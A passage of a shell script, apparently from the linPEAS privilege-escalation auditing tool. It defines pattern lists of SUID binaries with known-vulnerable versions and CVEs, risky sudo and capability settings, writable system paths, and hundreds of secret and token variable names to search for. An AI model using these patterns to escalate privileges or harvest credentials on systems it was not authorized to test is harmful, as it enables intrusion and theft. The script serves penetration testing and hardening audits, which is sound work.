List +sidG1="/abuild-sudo$|/accton$|/allocate$|/ARDAgent$|/arping$|/atq$|/atrm$|/authpf$|/authpf-noip$|/authopen$|/batch$|/bbsuid$|/bsd-write$|/btsockstat$|/bwrap$|/cacaocsc$|/camel-lock-helper-1.2$|/ccreds_validate$|/cdrw$|/chage$|/check-foreground-console$|/chrome-sandbox$|/chsh$|/cons.saver$|/crontab$|/ct$|/cu$|/dbus-daemon-launch-helper$|/deallocate$|/desktop-create-kmenu$|/dma$|/dma-mbox-create$|/dmcrypt-get-device$|/doas$|/dotlockfile$|/dotlock.mailutils$|/dtaction$|/dtfile$|/eject$|/execabrt-action-install-debuginfo-to-abrt-cache$|/execdbus-daemon-launch-helper$|/execdma-mbox-create$|/execlockspool$|/execlogin_chpass$|/execlogin_lchpass$|/execlogin_passwd$|/execssh-keysign$|/execulog-helper$|/exim4|/expiry$|/fdformat$|/fstat$|/fusermount$|/fusermount3$" +sidG2="/gnome-pty-helper$|/glines$|/gnibbles$|/gnobots2$|/gnome-suspend$|/gnometris$|/gnomine$|/gnotski$|/gnotravex$|/gpasswd$|/gpg$|/gpio$|/gtali|/.hal-mtab-lock$|/helper$|/imapd$|/inndstart$|/kismet_cap_nrf_51822$|/kismet_cap_nxp_kw41z$|/kismet_cap_ti_cc_2531$|/kismet_cap_ti_cc_2540$|/kismet_cap_ubertooth_one$|/kismet_capture$|/kismet_cap_linux_bluetooth$|/kismet_cap_linux_wifi$|/kismet_cap_nrf_mousejack$|/ksu$|/list_devices$|/load_osxfuse$|/locate$|/lock$|/lockdev$|/lockfile$|/login_activ$|/login_crypto$|/login_radius$|/login_skey$|/login_snk$|/login_token$|/login_yubikey$|/lpc$|/lpd$|/lpd-port$|/lppasswd$|/lpq$|/lpr$|/lprm$|/lpset$|/lxc-user-nic$|/mahjongg$|/mail-lock$|/mailq$|/mail-touchlock$|/mail-unlock$|/mksnap_ffs$|/mlocate$|/mlock$|/mount$|/mount.cifs$|/mount.ecryptfs_private$|/mount.nfs$|/mount.nfs4$|/mount_osxfuse$|/mtr$|/mutt_dotlock$" +sidG3="/ncsa_auth$|/netpr$|/netkit-rcp$|/netkit-rlogin$|/netkit-rsh$|/netreport$|/netstat$|/newgidmap$|/newtask$|/newuidmap$|/nvmmctl$|/opieinfo$|/opiepasswd$|/pam_auth$|/pam_extrausers_chkpwd$|/pam_timestamp_check$|/pamverifier$|/pfexec$|/ping$|/ping6$|/pmconfig$|/pmap$|/polkit-agent-helper-1$|/polkit-explicit-grant-helper$|/polkit-grant-helper$|/polkit-grant-helper-pam$|/polkit-read-auth-helper$|/polkit-resolve-exe-helper$|/polkit-revoke-helper$|/polkit-set-default-helper$|/postdrop$|/postqueue$|/poweroff$|/ppp$|/procmail$|/pstat$|/pt_chmod$|/pwdb_chkpwd$|/quota$|/rcmd|/remote.unknown$|/rlogin$|/rmformat$|/rnews$|/run-mailcap$|/sacadm$|/same-gnome$|screen.real$|/security_authtrampoline$|/sendmail.sendmail$|/shutdown$|/skeyaudit$|/skeyinfo$|/skeyinit$|/sliplogin|/slocate$|/smbmnt$|/smbumount$|/smpatch$|/smtpctl$|/sperl5.8.8$|/ssh-agent$|/ssh-keysign$|/staprun$|/startinnfeed$|/stclient$|/su$|/suexec$|/sys-suspend$|/sysstat$|/systat$" +sidG4="/telnetlogin$|/timedc$|/tip$|/top$|/traceroute6$|/traceroute6.iputils$|/trpt$|/tsoldtlabel$|/tsoljdslabel$|/tsolxagent$|/ufsdump$|/ufsrestore$|/ulog-helper$|/umount.cifs$|/umount.nfs$|/umount.nfs4$|/unix_chkpwd$|/uptime$|/userhelper$|/userisdnctl$|/usernetctl$|/utempter$|/utmp_update$|/uucico$|/uuglist$|/uuidd$|/uuname$|/uusched$|/uustat$|/uux$|/uuxqt$|/VBoxHeadless$|/VBoxNetAdpCtl$|/VBoxNetDHCP$|/VBoxNetNAT$|/VBoxSDL$|/VBoxVolInfo$|/VirtualBoxVM$|/vmstat$|/vmware-authd$|/vmware-user-suid-wrapper$|/vmware-vmx$|/vmware-vmx-debug$|/vmware-vmx-stats$|/vncserver-x11$|/volrmmount$|/w$|/wall$|/whodo$|/write$|/X$|/Xorg.wrap$|/Xsun$|/Xvnc$|/yppasswd$" + +#Rules: Start path " /", end path "$", divide path and vulnversion "%". SPACE IS ONLY ALLOWED AT BEGINNING, DONT USE IT IN VULN DESCRIPTION +sidB="/apache2$%Read_root_passwd__apache2_-f_/etc/shadow\(CVE-2019-0211\)\ + /at$%RTru64_UNIX_4.0g\(CVE-2002-1614\)\ + /abrt-action-install-debuginfo-to-abrt-cache$%CENTOS 7.1/Fedora22 + /chfn$%SuSE_9.3/10\ + /chkey$%Solaris_2.5.1\ + /chkperm$%Solaris_7.0_\ + /chpass$%2Vulns:OpenBSD_6.1_to_OpenBSD 6.6\(CVE-2019-19726\)--OpenBSD_2.7_i386/OpenBSD_2.6_i386/OpenBSD_2.5_1999/08/06/OpenBSD_2.5_1998/05/28/FreeBSD_4.0-RELEASE/FreeBSD_3.5-RELEASE/FreeBSD_3.4-RELEASE/NetBSD_1.4.2\ + /chpasswd$%SquirrelMail\(2004-04\)\ + /dtappgather$%Solaris_7_<_11_\(SPARC/x86\)\(CVE-2017-3622\)\ + /dtprintinfo$%Solaris_10_\(x86\)_and_lower_versions_also_SunOS_5.7_to_5.10\ + /dtsession$%Oracle_Solaris_10_1/13_and_earlier\(CVE-2020-2696\)\ + /eject$%FreeBSD_mcweject_0.9/SGI_IRIX_6.2\ + /ibstat$%IBM_AIX_Version_6.1/7.1\(09-2013\)\ + /kcheckpass$%KDE_3.2.0_<-->_3.4.2_\(both_included\)\ + /kdesud$%KDE_1.1/1.1.1/1.1.2/1.2\ + /keybase-redirector%CentOS_Linux_release_7.4.1708\ + /login$%IBM_AIX_3.2.5/SGI_IRIX_6.4\ + /lpc$%S.u.S.E_Linux_5.2\ + /lpr$%BSD/OS2.1/FreeBSD2.1.5/NeXTstep4.x/IRIX6.4/SunOS4.1.3/4.1.4\(09-1996\)\ + /mail.local$%NetBSD_7.0-7.0.1__6.1-6.1.5__6.0-6.0.6 + /mount$%Apple_Mac_OSX\(Lion\)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8\ + /movemail$%Emacs\(08-1986\)\ + /mrinfo$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ + /mtrace$%NetBSD_Sep_17_2002_https://securitytracker.com/id/1005234\ + /netprint$%IRIX_5.3/6.2/6.3/6.4/6.5/6.5.11\ + /newgrp$%HP-UX_10.20\ + /ntfs-3g$%Debian9/8/7/Ubuntu/Gentoo/others/Ubuntu_Server_16.10_and_others\(02-2017\)\ + /passwd$%Apple_Mac_OSX\(03-2006\)/Solaris_8/9\(12-2004\)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1\(02-1997\)\ + /pkexec$%Linux4.10_to_5.1.17\(CVE-2019-13272\)/rhel_6\(CVE-2011-1485\)\ + /pppd$%Apple_Mac_OSX_10.4.8\(05-2007\)\ + /pt_chown$%GNU_glibc_2.1/2.1.1_-6\(08-1999\)\ + /pulseaudio$%\(Ubuntu_9.04/Slackware_12.2.0\)\ + /rcp$%RedHat_6.2\ + /rdist$%Solaris_10/OpenSolaris\ + /rsh$%Apple_Mac_OSX_10.9.5/10.10.5\(09-2015\)\ + /screen$%GNU_Screen_4.5.0\ + /sdtcm_convert$%Sun_Solaris_7.0\ + /sendmail$%Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_\(SGI_ProPack_1.2/1.3\)\ + /snap-confine$%Ubuntu_snapd<2.37_dirty_sock_Local_Privilege_Escalation\(CVE-2019-7304\)\ + /sudo%check_if_the_sudo_version_is_vulnerable\ + /Serv-U%FTP_Server<15.1.7(CVE-2019-12181) + /sudoedit$%Sudo/SudoEdit_1.6.9p21/1.7.2p4/\(RHEL_5/6/7/Ubuntu\)/Sudo<=1.8.14\ + /tmux$%Tmux_1.3_1.4_privesc\(CVE-2011-1496\)\ + /traceroute$%LBL_Traceroute_\[2000-11-15\]\ + /ubuntu-core-launcher$%Befre_1.0.27.1\(CVE-2016-1580\)\ + /umount$%BSD/Linux\(08-1996\)\ + /umount-loop$%Rocks_Clusters<=4.1\(07-2006\)\ + /uucp$%Taylor_UUCP_1.0.6\ + /XFree86$%XFree86_X11R6_3.3.x/4.0/4.x/3.3\(03-2003\)\ + /xlock$%BSD/OS_2.1/DG/UX_7.0/Debian_1.3/HP-UX_10.34/IBM_AIX_4.2/SGI_IRIX_6.4/Solaris_2.5.1\(04-1997\)\ + /xscreensaver%Solaris_11.x\(CVE-2019-3010\)\ + /xorg$%Xorg_1.19_to_1.20.x\(CVE_2018-14665\)/xorg-x11-server<=1.20.3/AIX_7.1_\(6.x_to_7.x_should_be_vulnerable\)_X11.base.rte<7.1.5.32_and_\ + /xterm$%Solaris_5.5.1_X11R6.3\(05-1997\)/Debian_xterm_version_222-1etch2\(01-2009\)" +#To update sidVB: curl https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins 2>/dev/null | grep 'href="/GTFOBins/' | grep '.md">' | awk -F 'title="' '{print $2}' | cut -d '"' -f1 | cut -d "." -f1 | sed -e 's,^,/,' | sed -e 's,$,\$,' | tr '\n' '|' +sidVB='peass{SUIDVB1_HERE}' +sidVB2='peass{SUIDVB2_HERE}' +cfuncs='file|free|main|more|read|split|write' + +sudoVB1=" \*|env_keep\W*\+=.*LD_PRELOAD|env_keep\W*\+=.*LD_LIBRARY_PATH|peass{SUDOVB1_HERE}" +sudoVB2="peass{SUDOVB2_HERE}" +sudoB="$(whoami)|ALL:ALL|ALL : ALL|ALL|env_keep|NOPASSWD|SETENV|/apache2|/cryptsetup|/mount" +sudoG="NOEXEC" + +capsVB="cap_sys_admin:mount|python \ +cap_sys_ptrace:python \ +cap_sys_module:kmod|python \ +cap_dac_override:python|vim \ +cap_chown:chown|python \ +cap_former:chown|python \ +cap_setuid:peass{CAP_SETUID_HERE} \ +cap_setgid:peass{CAP_SETGID_HERE} \ +cap_net_raw:python|tcpdump" + + +capsB="=ep|cap_chown|cap_former|cap_setfcap|cap_dac_override|cap_dac_read_search|cap_setuid|cap_setgid|cap_kill|cap_net_bind_service|cap_net_raw|cap_net_admin|cap_sys_admin|cap_sys_ptrace|cap_sys_module" +containercapsB="sys_admin|sys_ptrace|sys_module|dac_read_search|dac_override|sys_rawio|syslog|net_raw|net_admin" + +OLDPATH=$PATH +ADDPATH=":/usr/local/sbin\ + :/usr/local/bin\ + :/usr/sbin\ + :/usr/bin\ + :/sbin\ + :/bin" +spath=":$PATH" +for P in $ADDPATH; do + if [ "${spath##*$P*}" ]; then export PATH="$PATH$P" 2>/dev/null; fi +done + +# test if sed supports -E or -r +E=E +echo | sed -${E} 's/o/a/' 2>/dev/null +if [ $? -ne 0 ] ; then + echo | sed -r 's/o/a/' 2>/dev/null + if [ $? -eq 0 ] ; then + E=r + else + echo "${YELLOW}WARNING: No suitable option found for extended regex with sed. Continuing but the results might be unreliable.${NC}" + fi +fi + +writeB="00-header|10-help-text|50-motd-news|80-esm|91-release-upgrade|\.sh$|\./|/authorized_keys|/bin/|/boot/|/etc/apache2/apache2.conf|/etc/apache2/httpd.conf|/etc/hosts.allow|/etc/hosts.deny|/etc/httpd/conf/httpd.conf|/etc/httpd/httpd.conf|/etc/inetd.conf|/etc/incron.conf|/etc/login.defs|/etc/logrotate.d/|/etc/modprobe.d/|/etc/pam.d/|/etc/php.*/fpm/pool.d/|/etc/php/.*/fpm/pool.d/|/etc/rsyslog.d/|/etc/skel/|/etc/sysconfig/network-scripts/|/etc/sysctl.conf|/etc/sysctl.d/|/etc/uwsgi/apps-enabled/|/etc/xinetd.conf|/etc/xinetd.d/|/etc/|/home//|/lib/|/log/|/mnt/|/root|/sys/|/usr/bin|/usr/games|/usr/lib|/usr/local/bin|/usr/local/games|/usr/local/sbin|/usr/sbin|/sbin/|/var/log/|\.timer$|\.service$|.socket$" +writeVB="/etc/anacrontab|/etc/apt/apt.conf.d|/etc/bash.bashrc|/etc/bash_completion|/etc/bash_completion.d/|/etc/cron|/etc/environment|/etc/environment.d/|/etc/group|/etc/incron.d/|/etc/init|/etc/ld.so.conf.d/|/etc/master.passwd|/etc/passwd|/etc/profile.d/|/etc/profile|/etc/rc.d|/etc/shadow|/etc/skey/|/etc/sudoers|/etc/sudoers.d/|/etc/supervisor/conf.d/|/etc/supervisor/supervisord.conf|/etc/systemd|/etc/sys|/lib/systemd|/etc/update-motd.d/|/root/.ssh/|/run/systemd|/usr/lib/cron/tabs/|/usr/lib/systemd|/systemd/system|/var/db/yubikey/|/var/spool/anacron|/var/spool/cron/crontabs|"$(echo $PATH 2>/dev/null | sed 's/:\.:/:/g' | sed 's/:\.$//g' | sed 's/^\.://g' | sed 's/:/$|^/g') #Add Path but remove simple dot in PATH + +if [ "$MACPEAS" ]; then + sh_usrs="ImPoSSssSiBlEee" + nosh_usrs="ImPoSSssSiBlEee" + dscl . list /Users | while read uname; do + ushell=$(dscl . -read "/Users/$uname" UserShell | cut -d " " -f2) + if grep -q \"$ushell\" /etc/shells; then sh_usrs="$sh_usrs|$uname"; else nosh_usrs="$nosh_usrs|$uname"; fi + done +else + sh_usrs=$(cat /etc/passwd 2>/dev/null | grep -v "^root:" | grep -i "sh$" | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/' | sed 's/|sys|/|sys[\\\s:]|^sys$|/' | sed 's/|daemon|/|daemon[\\\s:]|^daemon$|/')"ImPoSSssSiBlEee" #Modified bin, sys and daemon so they are not colored everywhere + nosh_usrs=$(cat /etc/passwd 2>/dev/null | grep -i -v "sh$" | sort | cut -d ":" -f 1 | tr '\n' '|' | sed 's/|bin|/|bin[\\\s:]|^bin$|/')"ImPoSSssSiBlEee" +fi +knw_usrs='_amavisd|_analyticsd|_appinstalld|_appleevents|_applepay|_appowner|_appserver|_appstore|_ard|_assetcache|_astris|_atsserver|_avbdeviced|_calendar|_captiveagent|_ces|_clamav|_cmiodalassistants|_coreaudiod|_coremediaiod|_coreml|_ctkd|_cvmsroot|_cvs|_cyrus|_datadetectors|_demod|_devdocs|_devicemgr|_diskimagesiod|_displaypolicyd|_distnote|_dovecot|_dovenull|_dpaudio|_driverkit|_eppc|_findmydevice|_fpsd|_ftp|_fud|_gamecontrollerd|_geod|_hidd|_iconservices|_installassistant|_installcoordinationd|_installer|_jabber|_kadmin_admin|_kadmin_changepw|_knowledgegraphd|_krb_anonymous|_krb_changepw|_krb_kadmin|_krb_kerberos|_krb_krbtgt|_krbfast|_krbtgt|_launchservicesd|_lda|_locationd|_logd|_lp|_mailman|_mbsetupuser|_mcxalr|_mdnsresponder|_mobileasset|_mysql|_nearbyd|_netbios|_netstatistics|_networkd|_nsurlsessiond|_nsurlstoraged|_oahd|_ondemand|_postfix|_postgres|_qtss|_reportmemoryexception|_rmd|_sandbox|_screensaver|_scsd|_securityagent|_softwareupdate|_spotlight|_sshd|_svn|_taskgated|_teamsserver|_timed|_timezone|_tokend|_trustd|_trustevaluationagent|_unknown|_update_sharing|_usbmuxd|_uucp|_warmd|_webauthserver|_windowserver|_www|_wwwproxy|_xserverdocs|daemon\W|^daemon$|message\+|syslog|www|www-data|mail|noboby|Debian\-\+|rtkit|systemd\+' +if ! [ "$USER" ]; then + USER=$(whoami 2>/dev/null || echo -n "UserUnknown") +fi +if [ ! "$HOME" ]; then + if [ -d "/Users/$USER" ]; then HOME="/Users/$USER"; #Mac home + else HOME="/home/$USER"; + fi +fi +Groups="ImPoSSssSiBlEee"$(groups "$USER" 2>/dev/null | cut -d ":" -f 2 | tr ' ' '|') + +#This variables are dived in several different ones because NetBSD required it +peass{VARIABLES} +pwd_in_variables1="Dgpg.passphrase|Dsonar.login|Dsonar.projectKey|GITHUB_TOKEN|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|PUSHOVER_TOKEN|PUSHOVER_USER|VIRUSTOTAL_APIKEY|ACCESSKEY|ACCESSKEYID|ACCESS_KEY|ACCESS_KEY_ID|ACCESS_KEY_SECRET|ACCESS_SECRET|ACCESS_TOKEN|ACCOUNT_SID|ADMIN_EMAIL|ADZERK_API_KEY|ALGOLIA_ADMIN_KEY_1|ALGOLIA_ADMIN_KEY_2|ALGOLIA_ADMIN_KEY_MCM|ALGOLIA_API_KEY|ALGOLIA_API_KEY_MCM|ALGOLIA_API_KEY_SEARCH|ALGOLIA_APPLICATION_ID|ALGOLIA_APPLICATION_ID_1|ALGOLIA_APPLICATION_ID_2|ALGOLIA_APPLICATION_ID_MCM|ALGOLIA_APP_ID|ALGOLIA_APP_ID_MCM|ALGOLIA_SEARCH_API_KEY|ALGOLIA_SEARCH_KEY|ALGOLIA_SEARCH_KEY_1|ALIAS_NAME|ALIAS_PASS|ALICLOUD_ACCESS_KEY|ALICLOUD_SECRET_KEY|amazon_bucket_name|AMAZON_SECRET_ACCESS_KEY|ANDROID_DOCS_DEPLOY_TOKEN|android_sdk_license|android_sdk_preview_license|aos_key|aos_sec|APIARY_API_KEY|APIGW_ACCESS_TOKEN|API_KEY|API_KEY_MCM|API_KEY_SECRET|API_KEY_SID|API_SECRET|appClientSecret|APP_BUCKET_PERM|APP_NAME|APP_REPORT_TOKEN_KEY|APP_TOKEN|ARGOS_TOKEN|ARTIFACTORY_KEY|ARTIFACTS_AWS_ACCESS_KEY_ID|ARTIFACTS_AWS_SECRET_ACCESS_KEY|ARTIFACTS_BUCKET|ARTIFACTS_KEY|ARTIFACTS_SECRET|ASSISTANT_IAM_APIKEY|AURORA_STRING_URL|AUTH0_API_CLIENTID|AUTH0_API_CLIENTSECRET|AUTH0_AUDIENCE|AUTH0_CALLBACK_URL|AUTH0_CLIENT_ID" +pwd_in_variables2="AUTH0_CLIENT_SECRET|AUTH0_CONNECTION|AUTH0_DOMAIN|AUTHOR_EMAIL_ADDR|AUTHOR_NPM_API_KEY|AUTH_TOKEN|AWS-ACCT-ID|AWS-KEY|AWS-SECRETS|AWS.config.accessKeyId|AWS.config.secretAccessKey|AWSACCESSKEYID|AWSCN_ACCESS_KEY_ID|AWSCN_SECRET_ACCESS_KEY|AWSSECRETKEY|AWS_ACCESS|AWS_ACCESS_KEY|AWS_ACCESS_KEY_ID|AWS_CF_DIST_ID|AWS_DEFAULT|AWS_DEFAULT_REGION|AWS_S3_BUCKET|AWS_SECRET|AWS_SECRET_ACCESS_KEY|AWS_SECRET_KEY|AWS_SES_ACCESS_KEY_ID|AWS_SES_SECRET_ACCESS_KEY|B2_ACCT_ID|B2_APP_KEY|B2_BUCKET|baseUrlTravis|bintrayKey|bintrayUser|BINTRAY_APIKEY|BINTRAY_API_KEY|BINTRAY_KEY|BINTRAY_TOKEN|BINTRAY_USER|BLUEMIX_ACCOUNT|BLUEMIX_API_KEY|BLUEMIX_AUTH|BLUEMIX_NAMESPACE|BLUEMIX_ORG|BLUEMIX_ORGANIZATION|BLUEMIX_PASS|BLUEMIX_PASS_PROD|BLUEMIX_SPACE|BLUEMIX_USER|BRACKETS_REPO_OAUTH_TOKEN|BROWSERSTACK_ACCESS_KEY|BROWSERSTACK_PROJECT_NAME|BROWSER_STACK_ACCESS_KEY|BUCKETEER_AWS_ACCESS_KEY_ID|BUCKETEER_AWS_SECRET_ACCESS_KEY|BUCKETEER_BUCKET_NAME|BUILT_BRANCH_DEPLOY_KEY|BUNDLESIZE_GITHUB_TOKEN|CACHE_S3_SECRET_KEY|CACHE_URL|CARGO_TOKEN|CATTLE_ACCESS_KEY|CATTLE_AGENT_INSTANCE_AUTH|CATTLE_SECRET_KEY|CC_TEST_REPORTER_ID|CC_TEST_REPOTER_ID|CENSYS_SECRET|CENSYS_UID|CERTIFICATE_OSX_P12|CF_ORGANIZATION|CF_PROXY_HOST|channelId|CHEVERNY_TOKEN|CHROME_CLIENT_ID" +pwd_in_variables3="CHROME_CLIENT_SECRET|CHROME_EXTENSION_ID|CHROME_REFRESH_TOKEN|CI_DEPLOY_USER|CI_NAME|CI_PROJECT_NAMESPACE|CI_PROJECT_URL|CI_REGISTRY_USER|CI_SERVER_NAME|CI_USER_TOKEN|CLAIMR_DATABASE|CLAIMR_DB|CLAIMR_SUPERUSER|CLAIMR_TOKEN|CLIENT_ID|CLIENT_SECRET|CLI_E2E_CMA_TOKEN|CLI_E2E_ORG_ID|CLOUDAMQP_URL|CLOUDANT_APPLIANCE_DATABASE|CLOUDANT_ARCHIVED_DATABASE|CLOUDANT_AUDITED_DATABASE|CLOUDANT_DATABASE|CLOUDANT_ORDER_DATABASE|CLOUDANT_PARSED_DATABASE|CLOUDANT_PROCESSED_DATABASE|CLOUDANT_SERVICE_DATABASE|CLOUDFLARE_API_KEY|CLOUDFLARE_AUTH_EMAIL|CLOUDFLARE_AUTH_KEY|CLOUDFLARE_EMAIL|CLOUDFLARE_ZONE_ID|CLOUDINARY_URL|CLOUDINARY_URL_EU|CLOUDINARY_URL_STAGING|CLOUD_API_KEY|CLUSTER_NAME|CLU_REPO_URL|CLU_SSH_PRIVATE_KEY_BASE64|CN_ACCESS_KEY_ID|CN_SECRET_ACCESS_KEY|COCOAPODS_TRUNK_EMAIL|COCOAPODS_TRUNK_TOKEN|CODACY_PROJECT_TOKEN|CODECLIMATE_REPO_TOKEN|CODECOV_TOKEN|coding_token|CONEKTA_APIKEY|CONFIGURATION_PROFILE_SID|CONFIGURATION_PROFILE_SID_P2P|CONFIGURATION_PROFILE_SID_SFU|CONSUMERKEY|CONSUMER_KEY|CONTENTFUL_ACCESS_TOKEN|CONTENTFUL_CMA_TEST_TOKEN|CONTENTFUL_INTEGRATION_MANAGEMENT_TOKEN|CONTENTFUL_INTEGRATION_SOURCE_SPACE|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN|CONTENTFUL_MANAGEMENT_API_ACCESS_TOKEN_NEW|CONTENTFUL_ORGANIZATION" +pwd_in_variables4="CONTENTFUL_PHP_MANAGEMENT_TEST_TOKEN|CONTENTFUL_TEST_ORG_CMA_TOKEN|CONTENTFUL_V2_ACCESS_TOKEN|CONTENTFUL_V2_ORGANIZATION|CONVERSATION_URL|COREAPI_HOST|COS_SECRETS|COVERALLS_API_TOKEN|COVERALLS_REPO_TOKEN|COVERALLS_SERVICE_NAME|COVERALLS_TOKEN|COVERITY_SCAN_NOTIFICATION_EMAIL|COVERITY_SCAN_TOKEN|CYPRESS_RECORD_KEY|DANGER_GITHUB_API_TOKEN|DATABASE_HOST|DATABASE_NAME|DATABASE_PORT|DATABASE_USER|DATABASE_PASSWORD|datadog_api_key|datadog_app_key|DB_CONNECTION|DB_DATABASE|DB_HOST|DB_PORT|DB_PW|DB_USER|DDGC_GITHUB_TOKEN|DDG_TEST_EMAIL|DDG_TEST_EMAIL_PW|DEPLOY_DIR|DEPLOY_DIRECTORY|DEPLOY_HOST|DEPLOY_PORT|DEPLOY_SECURE|DEPLOY_TOKEN|DEPLOY_USER|DEST_TOPIC|DHL_SOLDTOACCOUNTID|DH_END_POINT_1|DH_END_POINT_2|DIGITALOCEAN_ACCESS_TOKEN|DIGITALOCEAN_SSH_KEY_BODY|DIGITALOCEAN_SSH_KEY_IDS|DOCKER_EMAIL|DOCKER_KEY|DOCKER_PASSDOCKER_POSTGRES_URL|DOCKER_RABBITMQ_HOST|docker_repo|DOCKER_TOKEN|DOCKER_USER|DOORDASH_AUTH_TOKEN|DROPBOX_OAUTH_BEARER|ELASTICSEARCH_HOST|ELASTIC_CLOUD_AUTH|env.GITHUB_OAUTH_TOKEN|env.HEROKU_API_KEY|ENV_KEY|ENV_SECRET|ENV_SECRET_ACCESS_KEY|eureka.awsAccessId" +pwd_in_variables5="eureka.awsSecretKey|ExcludeRestorePackageImports|EXPORT_SPACE_ID|FIREBASE_API_JSON|FIREBASE_API_TOKEN|FIREBASE_KEY|FIREBASE_PROJECT|FIREBASE_PROJECT_DEVELOP|FIREBASE_PROJECT_ID|FIREBASE_SERVICE_ACCOUNT|FIREBASE_TOKEN|FIREFOX_CLIENT|FIREFOX_ISSUER|FIREFOX_SECRET|FLASK_SECRET_KEY|FLICKR_API_KEY|FLICKR_API_SECRET|FOSSA_API_KEY|ftp_host|FTP_LOGIN|FTP_PW|FTP_USER|GCLOUD_BUCKET|GCLOUD_PROJECT|GCLOUD_SERVICE_KEY|GCS_BUCKET|GHB_TOKEN|GHOST_API_KEY|GH_API_KEY|GH_EMAIL|GH_NAME|GH_NEXT_OAUTH_CLIENT_ID|GH_NEXT_OAUTH_CLIENT_SECRET|GH_NEXT_UNSTABLE_OAUTH_CLIENT_ID|GH_NEXT_UNSTABLE_OAUTH_CLIENT_SECRET|GH_OAUTH_CLIENT_ID|GH_OAUTH_CLIENT_SECRET|GH_OAUTH_TOKEN|GH_REPO_TOKEN|GH_TOKEN|GH_UNSTABLE_OAUTH_CLIENT_ID|GH_UNSTABLE_OAUTH_CLIENT_SECRET|GH_USER_EMAIL|GH_USER_NAME|GITHUB_ACCESS_TOKEN|GITHUB_API_KEY|GITHUB_API_TOKEN|GITHUB_AUTH|GITHUB_AUTH_TOKEN|GITHUB_AUTH_USER|GITHUB_CLIENT_ID|GITHUB_CLIENT_SECRET|GITHUB_DEPLOYMENT_TOKEN|GITHUB_DEPLOY_HB_DOC_PASS|GITHUB_HUNTER_TOKEN|GITHUB_KEY|GITHUB_OAUTH|GITHUB_OAUTH_TOKEN|GITHUB_RELEASE_TOKEN|GITHUB_REPO|GITHUB_TOKEN|GITHUB_TOKENS|GITHUB_USER|GITLAB_USER_EMAIL|GITLAB_USER_LOGIN|GIT_AUTHOR_EMAIL|GIT_AUTHOR_NAME|GIT_COMMITTER_EMAIL|GIT_COMMITTER_NAME|GIT_EMAIL|GIT_NAME|GIT_TOKEN|GIT_USER" +pwd_in_variables6="GOOGLE_CLIENT_EMAIL|GOOGLE_CLIENT_ID|GOOGLE_CLIENT_SECRET|GOOGLE_MAPS_API_KEY|GOOGLE_PRIVATE_KEY|gpg.passphrase|GPG_EMAIL|GPG_ENCRYPTION|GPG_EXECUTABLE|GPG_KEYNAME|GPG_KEY_NAME|GPG_NAME|GPG_OWNERTRUST|GPG_PASSPHRASE|GPG_PRIVATE_KEY|GPG_SECRET_KEYS|gradle.publish.key|gradle.publish.secret|GRADLE_SIGNING_KEY_ID|GREN_GITHUB_TOKEN|GRGIT_USER|HAB_AUTH_TOKEN|HAB_KEY|HB_CODESIGN_GPG_PASS|HB_CODESIGN_KEY_PASS|HEROKU_API_KEY|HEROKU_API_USER|HEROKU_EMAIL|HEROKU_TOKEN|HOCKEYAPP_TOKEN|INTEGRATION_TEST_API_KEY|INTEGRATION_TEST_APPID|INTERNAL-SECRETS|IOS_DOCS_DEPLOY_TOKEN|IRC_NOTIFICATION_CHANNEL|JDBC:MYSQL|jdbc_databaseurl|jdbc_host|jdbc_user|JWT_SECRET|KAFKA_ADMIN_URL|KAFKA_INSTANCE_NAME|KAFKA_REST_URL|KEYSTORE_PASS|KOVAN_PRIVATE_KEY|LEANPLUM_APP_ID|LEANPLUM_KEY|LICENSES_HASH|LICENSES_HASH_TWO|LIGHTHOUSE_API_KEY|LINKEDIN_CLIENT_ID|LINKEDIN_CLIENT_SECRET|LINODE_INSTANCE_ID|LINODE_VOLUME_ID|LINUX_SIGNING_KEY|LL_API_SHORTNAME|LL_PUBLISH_URL|LL_SHARED_KEY|LOOKER_TEST_RUNNER_CLIENT_ID|LOOKER_TEST_RUNNER_CLIENT_SECRET|LOOKER_TEST_RUNNER_ENDPOINT|LOTTIE_HAPPO_API_KEY|LOTTIE_HAPPO_SECRET_KEY|LOTTIE_S3_API_KEY|LOTTIE_S3_SECRET_KEY|mailchimp_api_key|MAILCHIMP_KEY|mailchimp_list_id|mailchimp_user|MAILER_HOST|MAILER_TRANSPORT|MAILER_USER" +pwd_in_variables7="MAILGUN_APIKEY|MAILGUN_API_KEY|MAILGUN_DOMAIN|MAILGUN_PRIV_KEY|MAILGUN_PUB_APIKEY|MAILGUN_PUB_KEY|MAILGUN_SECRET_API_KEY|MAILGUN_TESTDOMAIN|ManagementAPIAccessToken|MANAGEMENT_TOKEN|MANAGE_KEY|MANAGE_SECRET|MANDRILL_API_KEY|MANIFEST_APP_TOKEN|MANIFEST_APP_URL|MapboxAccessToken|MAPBOX_ACCESS_TOKEN|MAPBOX_API_TOKEN|MAPBOX_AWS_ACCESS_KEY_ID|MAPBOX_AWS_SECRET_ACCESS_KEY|MG_API_KEY|MG_DOMAIN|MG_EMAIL_ADDR|MG_EMAIL_TO|MG_PUBLIC_API_KEY|MG_SPEND_MONEY|MG_URL|MH_APIKEY|MILE_ZERO_KEY|MINIO_ACCESS_KEY|MINIO_SECRET_KEY|MYSQLMASTERUSER|MYSQLSECRET|MYSQL_DATABASE|MYSQL_HOSTNAMEMYSQL_USER|MY_SECRET_ENV|NETLIFY_API_KEY|NETLIFY_SITE_ID|NEW_RELIC_BETA_TOKEN|NGROK_AUTH_TOKEN|NGROK_TOKEN|node_pre_gyp_accessKeyId|NODE_PRE_GYP_GITHUB_TOKEN|node_pre_gyp_secretAccessKey|NPM_API_KEY|NPM_API_TOKEN|NPM_AUTH_TOKEN|NPM_EMAIL|NPM_SECRET_KEY|NPM_TOKEN|NUGET_APIKEY|NUGET_API_KEY|NUGET_KEY|NUMBERS_SERVICE|NUMBERS_SERVICE_PASS|NUMBERS_SERVICE_USER|OAUTH_TOKEN|OBJECT_STORAGE_PROJECT_ID|OBJECT_STORAGE_USER_ID|OBJECT_STORE_BUCKET|OBJECT_STORE_CREDS|OCTEST_SERVER_BASE_URL|OCTEST_SERVER_BASE_URL_2|OC_PASS|OFTA_KEY|OFTA_SEC